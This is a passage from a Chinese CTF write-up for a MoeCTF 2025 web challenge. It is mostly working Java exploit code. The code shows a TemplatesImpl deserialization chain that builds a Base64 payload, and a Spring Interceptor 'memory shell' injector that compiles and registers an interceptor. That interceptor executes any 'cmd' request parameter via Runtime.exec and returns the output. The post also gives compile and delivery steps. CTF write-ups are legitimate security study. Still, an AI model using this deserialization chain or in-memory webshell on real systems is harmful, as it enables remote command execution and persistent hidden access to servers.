setField(templates, "_bytecodes", codes);
setField(templates, "_tfactory", new TransformerFactoryImpl());

Dog dog = new Dog(1,"dog","dog",1);

HashMap<Object, Object> hashMap = new HashMap();
hashMap.put(dog, null);

setField(dog, "object", templates);
setField(dog, "methodName", "newTransformer");
setField(dog, "paramTypes", null);
setField(dog, "args", null);

String payload = serializeBase64(hashMap);
System.out.println(payload);
// unserializeBase64(payload);
}
}

然后做法就是和前面的一样了

image-20260204212051374

逻辑图

image-20260205142613010

Interceptor内存马

官方WP还给了可以用 Interceptor 内存马来打无回显的

Inject_Interceptor.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.tools.*;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Enumeration;
import java.util.List;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;

public class Inject_Interceptor extends AbstractTranslet {
public static Class<?> createShellInterceptor() throws Exception {
String className = "DynamicShellInterceptor";
String packageName = "com.dynamic.generated";
String fullClassName = packageName + "." + className;

String sourceCode = buildShellSourceCode(packageName, className);

// 创建临时目录
Path tempDir = Files.createTempDirectory("dynamic_classes");
Path sourceDir = tempDir.resolve("src");
Path classDir = tempDir.resolve("classes");
Files.createDirectories(sourceDir);
Files.createDirectories(classDir);

// 写入源码文件
Path sourceFile = sourceDir.resolve(className + ".java");
Files.write(sourceFile, sourceCode.getBytes());

// 编译
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector<>();

try (StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnostics, null, null)) {
Iterable<? extends JavaFileObject> compilationUnits =
fileManager.getJavaFileObjects(sourceFile.toFile());

File tempLibDir = Files.createTempDirectory("boot-libs").toFile();
String bootInfClasspath = extractBootInfLibs(new File("/app/demo.jar"), tempLibDir);

List<String> options = Arrays.asList(
"-d", classDir.toString(),
"-classpath", bootInfClasspath
);

JavaCompiler.CompilationTask task = compiler.getTask(
null, fileManager, diagnostics, options, null, compilationUnits);

if (!task.call()) {
throw new RuntimeException("编译失败: " + diagnostics.getDiagnostics());
}

// 加载类
URLClassLoader classLoader = new URLClassLoader(
new URL[]{classDir.toUri().toURL()},
Inject_Interceptor.class.getClassLoader()
);

return classLoader.loadClass(fullClassName);
} finally {
// 清理临时文件

}
}
public static String extractBootInfLibs(File bootJar, File extractToDir) throws IOException {
List<String> jarPaths = new ArrayList<>();

try (JarFile jarFile = new JarFile(bootJar)) {
Enumeration<JarEntry> entries = jarFile.entries();

while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
if (entry.getName().startsWith("BOOT-INF/lib/") && entry.getName().endsWith(".jar")) {
// 提取JAR文件
String jarName = entry.getName().substring("BOOT-INF/lib/".length());
File outputJar = new File(extractToDir, jarName);

// 确保父目录存在
outputJar.getParentFile().mkdirs();

try (InputStream is = jarFile.getInputStream(entry);
OutputStream os = new FileOutputStream(outputJar)) {
// 使用传统的流复制方法
byte[] buffer = new byte[8192];
int bytesRead;
while ((bytesRead = is.read(buffer)) != -1) {
os.write(buffer, 0, bytesRead);
}
}

jarPaths.add(outputJar.getAbsolutePath());
}
}
}

return String.join(File.pathSeparator, jarPaths);
}

private static String buildShellSourceCode(String packageName, String className) {
return "package " + packageName + ";\n\n" +
"import javax.servlet.http.HttpServletRequest;\n" +
"import javax.servlet.http.HttpServletResponse;\n" +
"import org.springframework.web.servlet.HandlerInterceptor;\n" +
"import org.springframework.web.servlet.ModelAndView;\n" +
"import java.io.PrintWriter;\n" +
"import java.util.Scanner;\n\n" +
"public class " + className + " implements HandlerInterceptor {\n\n" +
" @Override\n" +
" public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n" +
" String cmd = request.getParameter(\"cmd\");\n" +
" if (cmd != null && !cmd.trim().isEmpty()) {\n" +
" try {\n" +
" Process process = Runtime.getRuntime().exec(cmd);\n" +
" PrintWriter writer = response.getWriter();\n" +
" Scanner scanner = new Scanner(process.getInputStream()).useDelimiter(\"\\\\A\");\n" +
" String result = scanner.hasNext() ? scanner.next() : \"\";\n" +
" scanner.close();\n" +
" writer.write(result);\n" +
" writer.flush();\n" +
" writer.close();\n" +
" return false; // 不再继续执行后续拦截器\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }\n" +
" }\n" +
" return true; // 继续执行后续拦截器\n" +
" }\n\n" +
" @Override\n" +
" public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {\n" +
" // 可选的后处理逻辑\n" +
" }\n\n" +
" @Override\n" +
" public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {\n" +
" // 清理资源\n" +
" }\n" +
"}";
}
static {
try {
//获取当前上下文环境
// WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

// 通过 context 获取 RequestMappingHandlerMapping 对象
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
Class<?> shellClass = createShellInterceptor();
adaptedInterceptors.add(shellClass.newInstance());
}catch (Exception e){
e.printStackTrace();
}

}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

}

但也要找一大堆依赖,不过可以去给的demo.jar里面找,以压缩包的形式打开demo.jar,在BOOT-INF/lib目录下都能找到

试了AI改一个无依赖版本的,不过失败了,就用这个吧

image-20260205135346338

直接解压缩demo.jar

image-20260205135437305

直接全部复制到当前项目的lib目录下

image-20260205135153893

然后就可以编译了,在IDEA打开终端,运行:

1
javac -encoding UTF-8 -cp ".;lib/*" src/main/java/Inject_Interceptor.java

image-20260205135600992

只有警告,没有报错,就是成功了,然后复制到测试目录下,再改一下EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import com.example.demo.Dog.Dog;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class Exp2 {
// 序列化并Base64编码
public static String serializeBase64(Object obj) throws Exception {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
oos.flush();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
}
// Base64解码并反序列化
public static Object unserializeBase64(String base64Data) throws IOException, ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(base64Data);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}
// 反射设置字段值
public static void setField(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
// 利用TemplatesImpl进行动态类加载
TemplatesImpl templates = new TemplatesImpl();
byte[] code1 = Files.readAllBytes(Paths.get("E:/tmp/Shell.class"));
byte[] code2 = Files.readAllBytes(Paths.get("E:/tmp/Inject_ThreadLocal.class"));
byte[] code3 = Files.readAllBytes(Paths.get("E:/tmp/Inject_ThreadLocal_Pro.class"));
byte[] code4 = Files.readAllBytes(Paths.get("E:/tmp/Inject_Interceptor.class"));
byte[][] codes = {code4};
setField(templates, "_name", "CC3");
setField(templates, "_bytecodes", codes);
setField(templates, "_tfactory", new TransformerFactoryImpl());

Dog dog = new Dog(1,"dog","dog",1);

HashMap<Object, Object> hashMap = new HashMap();
hashMap.put(dog, null);

setField(dog, "object", templates);
setField(dog, "methodName", "newTransformer");
setField(dog, "paramTypes", null);
setField(dog, "args", null);

String payload = serializeBase64(hashMap);
System.out.println(payload);
// unserializeBase64(payload);
}
}

URL编码传payload

image-20260205135916610

然后就可以随便访问一个页面(不管有没有这个页面,好像只要不是/就都可以执行命令),GET 传参cmd执行命令了

image-20260205140010259

image-20260205140146253

逻辑图

image-20260205143557263


MoeCTF-2025-WEB-第二十三章 幻境迷心·皇陨星沉(大结局)
https://yschen20.github.io/2026/02/05/MoeCTF-2025-WEB-第二十三章-幻境迷心·皇陨星沉-大结局/
作者
Suzen
发布于
2026年2月5日
更新于
2026年2月5日
许可协议